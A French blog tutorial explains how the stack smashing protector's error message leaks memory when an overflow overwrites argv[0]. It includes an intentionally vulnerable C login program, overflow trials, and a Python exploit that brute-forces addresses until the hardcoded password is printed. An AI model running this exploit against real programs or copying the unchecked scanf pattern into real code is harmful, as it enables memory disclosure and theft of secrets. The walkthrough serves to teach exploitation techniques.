Stack Smashing Protector : fuite d'informations

Stack Smashing Protector : fuite d'informations

Nous allons aborder un cas particulier de buffer overflow, rencontré récemment, que j'ai trouvé assez sympathique et original. Original en effet car c'est l'une des protections mises en place et qui est censée nous protéger qui va devenir, en quelque sorte, la faille !

Attention qu'il n'est, je pense, pas possible de détourner le flux d'exécution via cette technique mais elle permet de pouvoir lire le contenu d'une adresse mémoire, ce qui peut s'avérer utile si, par exemple, on ne peut pas avoir un accès au binaire.

Voici le code du programme dont nous allons nous servir.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void login();

void login()
{
    char password[32];

    memset(password, '\0', sizeof(password));

    printf("Entrez le mot de passe : ");
    scanf("%s", password);

    if(strcmp(password, "monsupermotdepasse") == 0)
    {
        puts("Connexion réussie");
    }
    else
    {
        puts("Mot de passe erroné");
    }
}

int main(int argc, char *argv[])
{
    login();

    return 0;
}

Nous le compilerons de manière à activer SSP.

que20@hacktion:~$ gcc -m32 -fstack-protector leak.c -o leak

Le but du jeu : découvrir le mot de passe. Cependant, nous allons supposer que nous n'avons pas accès à un debugger ou à une quelconque commande permettant de résoudre ce problème simplement, ce qui serait, bien évidemment, nettement plus facile. Il va falloir se débrouiller d'une toute autre manière.

J'imagine que vous avez déjà repérer l'endroit du buffer overflow : on ne vérifie pas la taille de chaine transmise à password, on peut donc déborder. Seulement, il y a un canary en place (pour plus de détails, relisez cet article) donc il nous sera difficile de détourner le flux d'exécution.

Effectuons tout de même un débordement.

que20@hacktion:~$ python -c 'print "A"*100' | ./leak       
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***: ./leak terminated
que20@hacktion:~$ 

Comme prévu, nous avons modifié la valeur du canary et le programme s'est donc vu immédiatement interrompu.

Ceci est clairement indiqué par le message suivant.

*** stack smashing detected ***: ./leak terminated

Une petite chose devrait cependant attirer votre attention dans ce message : le nom du programme. Ce nom n'est pas tiré de n'importe où, c'est en fait la chaîne de caractères pointée par le premier élément de notre tableau de pointeurs argv[]. La chaîne pointée par argv[0] est le nom du programme ou plutôt la commande qui a servie à lancer notre programme.

Dans un des premiers articles, nous avions vu le schéma suivant.

Adresses hautes
+-------------+
|             |
| STACK FRAME |
|  OF MAIN()  |
|             |
+-------------+ 
|    arg2     |
+-------------+
|    arg1     |
+-------------+
|  save EIP   |
+-------------+
|  save EBP   |
+-------------+ 
|             |
|  lastname   |
|             |
+-------------+
|             |
|             |
|  firstname  |
|             |
|             |
+-------------+
Adresses basses

Si nous développons également la stack frame du main et que nous l'aplliquons à notre exemple, ça donnerait quelque chose comme ceci.

+-------------+
|    argv0    |
+-------------+
|  save EIP   |
+-------------+
|  save EBP   |
+-------------+ 
|             |
|    local    |
|  variables  |
+-------------+ 
|    arg2     |
+-------------+
|    arg1     |
+-------------+
|  save EIP   |
+-------------+
|  save EBP   |
+-------------+ 
|             |
|  password   |
|             |
+-------------+

Tentons maintenant un débordement un peu plus important.

que20@hacktion:~$ python -c 'print "A"*1000' | ./leak
Entrez le mot de passe : Mot de passe erroné
Segmentation Fault
que20@hacktion:~$ 

Notre programme a bien planté, cependant, nous remarquons que le message indiquant que le canary a été écrasé a disparu. De plus, le programme nous gratifie d'un joli « Segmentation Fault ».

La raison est en fait assez simple et nous allons l'illustrer sur le schéma.

Avec un débordement relativement faible, voici ce qu'il se passe.

+-------------+
|    argv0    |
+-------------+
|  save EIP   |
+-------------+
|  save EBP   |
+-------------+ 
|             |
|             | <- locals variables
| AAAAA...    |
+-------------+
| AAAAAAAAAAA | <- sEIP of function login()
+-------------+
| AAAAAAAAAAA | <- sEBP of function login()
+-------------+
| AAAAAAAAAAA | <- canary
+-------------+ 
| AAAAAAAAAAA |
| AAAAAAAAAAA | <- password
| AAAAAAAAAAA |
+-------------+

Maintenant, la même chose mais avec un débordement un peu plus conséquent.

+-------------+
|    AAAA     | <- argv[0]
+-------------+
|    AAAA     | <- sEIP of function main()
+-------------+
|    AAAA     | <- sEBP of function main()
+-------------+ 
|    AAAA     |
|    AAAA     | <- local variables
|    AAAA     |
+-------------+
|    AAAA     | <- sEIP of function login()
+-------------+
|    AAAA     | <- sEBP of function login()
+-------------+
|    AAAA     | <- canary
+-------------+ 
|    AAAA     |
|    AAAA     | <- password
|    AAAA     |
+-------------+

Petite question : sur quelle adresse pointe, à présent, argv[0] ? La réponse est 0x41414141 ! Et comme cette adresse n'est pas mappée, il y a erreur de segmentation. Voilà pourquoi nous n'avons pas de message et voilà pourquoi nous avons une erreur de segmentation.

Mais alors que se passerait-il si argv[0] pointait vers une adresse mappée en mémoire ? Eh bien, c'est simple : nous aurions le message suivant.

*** stack smashing detected ***: la_chaine_pointee_par_argv[0] terminated

Voilà comment nous allons pouvoir lire la mémoire de notre programme !

Exploitation

Bon, tout d'abord il nous faut déterminer le nombre d'octets nécessaires pour atteindre argv[0] et je vous rappelle que nous nous sommes imposé la contrainte de ne pas utiliser de debugger.

Alors comment faire ? Eh bien, on va y aller à tâtons : si argv[0] ne nous renvoie plus le nom du programme, c'est qu'on a réécrit dessus. Comme nous sommes en 32 bit, nous savons que l'adresse fera 4 octets.

Une dernière remarque : ne pas oublier que la fonction print de python insère automatiquement un saut de ligne, saut dont nous aurons besoin car ici, c'est un scanf qui est utilisé et scanf attend un saut de ligne pour valider l'entrée. Il faut juste avoir en tête que quand argv[0] verra son dernier octet écrasé, ça sera bien par l'octet représentant le saut de ligne et non le dernier octet de notre adresse.

que20@hacktion:~$ python -c 'print "A"*100' | ./leak
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***: ./leak terminated
zsh: done                python -c 'print "A"*100' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*200' | ./leak
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***: ./leak terminated
zsh: done                python -c 'print "A"*200' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*300' | ./leak
Entrez le mot de passe : Mot de passe erroné
zsh: done                python -c 'print "A"*300' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*250' | ./leak
Entrez le mot de passe : Mot de passe erroné
zsh: done                python -c 'print "A"*250' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*240' | ./leak
Entrez le mot de passe : Mot de passe erroné
zsh: done                python -c 'print "A"*240' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*230' | ./leak
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***: ./leak terminated
zsh: done                python -c 'print "A"*230' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*234' | ./leak
Entrez le mot de passe : Mot de passe erroné
zsh: done                python -c 'print "A"*234' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*232' | ./leak
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***:  terminated
zsh: done                python -c 'print "A"*232' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ python -c 'print "A"*231' | ./leak
Entrez le mot de passe : Mot de passe erroné
*** stack smashing detected ***: ./leak terminated
zsh: done                python -c 'print "A"*231' | 
zsh: segmentation fault  ./leak
que20@hacktion:~$ 

A 231 octets, nous obtenons toujours le nom de notre programme mais à 232 octets, là par contre, ce nom disparaît : il y a de fortes chances pour que ça soit à cause du fait que notre saut de ligne ait écrasé le bit de poids faible du pointeur contenu dans argv[0]. Donc si l'on veut écraser l'adresse, il nous faudra rajouter encore 4 octets.

Le payload final se présentera ainsi :

que20@hacktion:~$ python -c 'print "A"*232 + "\x42\x42\x42\x42"' | ./leak

Reste à savoir maintenant où se trouve l'information que nous voulons. Malheureusement, nous ne pouvons pas, sans un minimum de « debug », savoir l'endroit précis. On pourrait tester toutes les adresses, mais ça nous ferait plus de 4 milliards de possibilités. Cependant, il y a certaines règles qui vont nous faciliter la tâche. Un binaire n'est pas mappé n'importe comment en mémoire, la pile débute à l'adresse 0x0804ffff . On peut alors estimer que notre valeur se trouve quelque part entre l'adresse 0x0804ffff et l'adresse 0x08040000, ce qui ne laisse « plus que » 65536 possibilités.

Voici mon exploit en Python qui prend en paramètres une adresse de début et une adresse de fin.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import struct
import subprocess
import sys

if len(sys.argv) != 3:
    print "Usage : " + sys.argv[0] + " <address begin> <address ending>"
    exit(-1)

address = int(sys.argv[1], 16)
address_end = int(sys.argv[2], 16)

while address < address_end:
    payload = "A"*232 + struct.pack("<L", address)
    p = subprocess.Popen("./leak", shell = True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
    p.communicate(input=b'' + payload)[0]
    print "[+] Content of address 0x" + struct.pack(">L", address).encode("hex")
    address += 1

Exemple d'utilisation :

que20@hacktion:~$ python exploit_leak.py 0x08040000 0x0804ffff

Après plusieurs essais, on finit par tomber sur ceci :

...
[+] Content of address 0x08048696
*** stack smashing detected ***: :  terminated
[+] Content of address 0x08048697
*** stack smashing detected ***:   terminated
[+] Content of address 0x08048698
*** stack smashing detected ***:  terminated
[+] Content of address 0x08048699
*** stack smashing detected ***: %s terminated
[+] Content of address 0x0804869a
*** stack smashing detected ***: s terminated
[+] Content of address 0x0804869b
*** stack smashing detected ***:  terminated
[+] Content of address 0x0804869c
*** stack smashing detected ***: monsupermotdepasse terminated
[+] Content of address 0x0804869d
*** stack smashing detected ***: onsupermotdepasse terminated
[+] Content of address 0x0804869e
*** stack smashing detected ***: nsupermotdepasse terminated
[+] Content of address 0x0804869f
*** stack smashing detected ***: supermotdepasse terminated
[+] Content of address 0x080486a0
*** stack smashing detected ***: upermotdepasse terminated
...

Et voilà ! Même sans ce cher gdb ou des commandes comme strings, on a pu réussir à lire la mémoire de notre binaire grâce à notre vilain petit canary ! :)

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.